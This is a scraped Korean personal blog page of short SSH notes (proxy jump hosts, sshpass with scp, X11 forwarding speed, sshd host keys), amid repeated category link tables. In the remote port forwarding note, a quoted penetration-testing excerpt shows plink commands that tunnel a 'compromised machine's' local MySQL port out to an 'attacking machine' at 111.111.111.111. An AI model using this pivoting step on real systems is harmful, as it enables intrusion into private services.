'프로그램 사용 > ssh scp sftp' 카테고리의 다른 글
ssh 원격 명령어 실행 (0) | 2021.09.29 |
---|---|
reverse ssh (0) | 2021.01.03 |
ssh tunnel proxy (0) | 2019.09.20 |
ssh remote port forwarding (0) | 2019.01.28 |
reverse SSH (0) | 2018.05.14 |
ssh 원격 명령어 실행 (0) | 2021.09.29 |
---|---|
reverse ssh (0) | 2021.01.03 |
ssh tunnel proxy (0) | 2019.09.20 |
ssh remote port forwarding (0) | 2019.01.28 |
reverse SSH (0) | 2018.05.14 |
[링크 : https://www.cyberciti.biz/faq/linux-unix-ssh-proxycommand-passing-through-one-host-gateway-server/]
[링크 : https://unix.stackexchange.com/questions/311650/forward-x11-through-two-ssh-tunnels]
+
예전에 내용 확인하니 X11Forwarding 옵션만 양쪽으로 되어있으면 문제 없는듯
그런 경우에도 할수 있는 방법인가 확인이 필요할듯
[링크 : https://minimonk.net/2143]
+
가장 위에 링크는 nc 명령을 이용해서 먼가 하려고 하는데
잘안된다. 쓰는법을 좀더 봐야 할 듯
+
[링크 : http://qgp9.github.io/blog/2016/03/26/ssh-proxy-jump-host]
reverse ssh (0) | 2021.01.03 |
---|---|
ssh blowfish (0) | 2019.09.24 |
ssh remote port forwarding (0) | 2019.01.28 |
reverse SSH (0) | 2018.05.14 |
rpi vpn client (0) | 2018.05.11 |
netstat에서 다음과 같은 신기한게 있어서 검색
sshd: root@pt |
아무튼.. 원격에서 ssh를 통해서 포트포워딩 해서 쓸 수 있도록 하는거 같은데..
한개의 포트라면 이게 더 깔끔 하려나?
Remote port forwarding Remote port forwarding is crazy, yet very simple concept. So imagine that you have compromised a machine, and that machine has like MYSQL running but it is only accessible for localhost. And you can't access it because you have a really crappy shell. So what we can do is just forward that port to our attacking machine. The steps are as following: Here is how you create a remote port forwarding: ssh <gateway> -R <remote port to bind>:<local host>:<local port> By the way, plink is a ssh-client for windows that can be run from the terminal. The ip of the attacking machine is 111.111.111.111. Step 1 So on our compromised machine we do: plink.exe -l root -pw mysecretpassword 111.111.111.111 -R 3307:127.0.0.1:3306 Step 2 Now we can check netstat on our attacking machine, we should see something like this: tcp 0 0 127.0.0.1:3307 0.0.0.0:* LISTEN 19392/sshd: root@pt That means what we can connect to that port on the attacking machine from the attacking machine. Step 3 Connect using the following command: mysql -u root -p -h 127.0.0.1 --port=3307 |
[링크 : https://xapax.gitbooks.io/security/content/port_forwarding_and_tunneling.html]
ssh blowfish (0) | 2019.09.24 |
---|---|
ssh tunnel proxy (0) | 2019.09.20 |
reverse SSH (0) | 2018.05.14 |
rpi vpn client (0) | 2018.05.11 |
scp: ambiguous target 에러 (0) | 2016.09.21 |
ssh tunnel proxy (0) | 2019.09.20 |
---|---|
ssh remote port forwarding (0) | 2019.01.28 |
rpi vpn client (0) | 2018.05.11 |
scp: ambiguous target 에러 (0) | 2016.09.21 |
sshpass를 이용한 scp 암호 자동 입력 (0) | 2016.09.19 |
웹서버 구축하고
iptime의 vpn서버 에 붙여서
내부 아이피로 연결 후
공유기에서포트 포워딩하면 되는걸려나?
+
2018.05.12
음.. 일반 패키지는 아니고 빌드해야 하나?
[링크 : https://gist.github.com/superjamie/ac55b6d2c080582a3e64]
ssh remote port forwarding (0) | 2019.01.28 |
---|---|
reverse SSH (0) | 2018.05.14 |
scp: ambiguous target 에러 (0) | 2016.09.21 |
sshpass를 이용한 scp 암호 자동 입력 (0) | 2016.09.19 |
ssh X11 forwarding 속도 향상 (0) | 2015.09.24 |
공백이 있어서 \를 해주었는데 안되서
괄호까지 동원하니 해결.... 머지?
$ scp file.txt user@ip_address:"/file path/"
$ scp file.txt user@ip_address:"/file\ path/"
[링크 : http://an-compsci.blogspot.com/2009/05/scp-ambiguous-target.html]
reverse SSH (0) | 2018.05.14 |
---|---|
rpi vpn client (0) | 2018.05.11 |
sshpass를 이용한 scp 암호 자동 입력 (0) | 2016.09.19 |
ssh X11 forwarding 속도 향상 (0) | 2015.09.24 |
sshd server key 경로 (0) | 2015.01.06 |
expect 같은건 웬지 복잡해 보여서
단순하게 커맨드 라인에서 처리가능한 녀석으로 sshpass 테스트
sshpass -p "password" scp -r user@example.com:/some/remote/path /some/local/path |
[링크 : http://stackoverflow.com/questions/50096/how-to-pass-password-to-scp]
[링크 : https://linux.die.net/man/1/sshpass]
물론 우분투에서는 sshpass 패키지를 별도로 설치해 주어야 한다.
rpi vpn client (0) | 2018.05.11 |
---|---|
scp: ambiguous target 에러 (0) | 2016.09.21 |
ssh X11 forwarding 속도 향상 (0) | 2015.09.24 |
sshd server key 경로 (0) | 2015.01.06 |
ssh 아이디 입력후 로그인 패스워드 입력이 지연되는 문제 (0) | 2014.09.03 |
[링크 : http://xmodulo.com/how-to-speed-up-x11-forwarding-in-ssh.html]
[링크 : http://blog.famzah.net/2010/06/11/openssh-ciphers-performance-benchmark/]
[링크 : http://www.cyberciti.biz/faq/speeding-up-ssh-x11-forwarding-with-unix-osx-linux-bsd/]
[링크 : http://ubuntuforums.org/showthread.php?t=1855933]
rpi2 + putty + xming 에서는
vlc 실행에 걸리는 시간이 차이가 거의 안나서.. 다른 좀 더 영상이 많다거나 하는 걸로 테스트 해봐야 할 듯..
Turn on compression to speed up your connection, and bring Blowfish to the top of the list. Blowfish is still relatively secure, but will be a heck of a lot quicker than AES at passing information as your computer doesn’t have to encrypt things so heavily.
[링크 : http://irrationale.com/2009/11/10/x11-over-ssh/]
Nagle 알고리즘은 패킷의 갯수를 줄이는 것
일단 적은 데이터(MTU 미만)에서는 응답속도와 tradeoff가 일어난다.
기본값은 off니까 빠릿빠릿하게 ssh 응답을 하는 듯?
4.12.4 "Disable Nagle's algorithm"
Nagle's algorithm is a detail of TCP/IP implementations that tries to minimise the number of small data packets sent down a network connection. With Nagle's algorithm enabled, PuTTY's bandwidth usage will be slightly more efficient; with it disabled, you may find you get a faster response to your keystrokes when connecting to some types of server.
The Nagle algorithm is disabled by default.
[링크 : http://the.earth.li/~sgtatham/putty/0.52/htmldoc/Chapter4.html]
scp: ambiguous target 에러 (0) | 2016.09.21 |
---|---|
sshpass를 이용한 scp 암호 자동 입력 (0) | 2016.09.19 |
sshd server key 경로 (0) | 2015.01.06 |
ssh 아이디 입력후 로그인 패스워드 입력이 지연되는 문제 (0) | 2014.09.03 |
ssh X11 forwarding 옵션 (0) | 2012.01.25 |
서버키 재 생성할 일 있으면
/etc/sshd/sshd_hosts* 파일들을 삭제하고
sshd 서버를 재시작하면 된다.
[링크 : http://www.softec.lu/site/DevelopersCorner/HowToRegenerateNewSsh]
sshpass를 이용한 scp 암호 자동 입력 (0) | 2016.09.19 |
---|---|
ssh X11 forwarding 속도 향상 (0) | 2015.09.24 |
ssh 아이디 입력후 로그인 패스워드 입력이 지연되는 문제 (0) | 2014.09.03 |
ssh X11 forwarding 옵션 (0) | 2012.01.25 |
ssh X11 터널링 (0) | 2012.01.24 |
UseDNS no |
ssh X11 forwarding 속도 향상 (0) | 2015.09.24 |
---|---|
sshd server key 경로 (0) | 2015.01.06 |
ssh X11 forwarding 옵션 (0) | 2012.01.25 |
ssh X11 터널링 (0) | 2012.01.24 |
scp 사용하기 (0) | 2011.04.18 |